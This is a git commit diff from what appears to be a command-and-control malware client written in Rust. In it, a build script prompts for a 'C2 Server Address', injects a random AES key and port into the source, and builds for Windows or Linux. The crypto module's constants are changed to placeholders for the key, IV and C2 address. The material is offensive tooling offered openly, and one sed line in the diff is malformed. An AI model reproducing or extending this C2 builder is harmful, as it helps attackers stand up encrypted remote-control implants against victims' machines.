feat: client modifications in accordance with server rewrite
This commit is contained in:
parent
f10160ecd6
commit
7dc294337b
2 changed files with 3 additions and 2 deletions
3
build.sh
3
build.sh
|
@ -5,9 +5,10 @@ echo "[!] Preparing..."
|
|||
cp src/crypto.rs src/crypto.rs.bak
|
||||
echo "[i] Replacing key with random data."
|
||||
export KEY="$(tr -dc A-Za-z0-9 </dev/urandom | head -c 32)"
|
||||
sed -i -e "s/keyhereshouldbereplacedbybuilder/$KEY/g" src/crypto.rs
|
||||
sed -i -e "s/tobereplacedbybuildscript/$KEY/g" src/crypto.rs
|
||||
read -p "C2 Server Address: " C2ADDR
|
||||
sed -i -e "s/c2serveraddr/$C2ADDR/g" src/crypto.rs
|
||||
sed -i -e "s/4444/$RANDOM" src/crypto.rs
|
||||
echo "[!] Source ready."
|
||||
PS3='Please select option:'
|
||||
options=("Windows" "Linux" "Both" "Quit")
|
||||
|
|
|
@ -18,7 +18,7 @@ use reqwest::blocking::{Client, Request};
|
|||
|
||||
type Aes256Cbc = Cbc<Aes256, Pkcs7>;
|
||||
|
||||
const KEY: &[u8] = b"kYmfk8pkMkgR9nj3EQ4x0JuJn6Qwq0cQ";
|
||||
const KEY: &[u8] = b"tobereplacedbybuildscript";
|
||||
const IV: &[u8] = b"unique_initializ"; // IV should be 16 bytesA
|
||||
const C2ADDR: &str = "c2serveraddr";
|
||||
const GID: i32 = 4444;
|
||||
|
|
Loading…
Reference in a new issue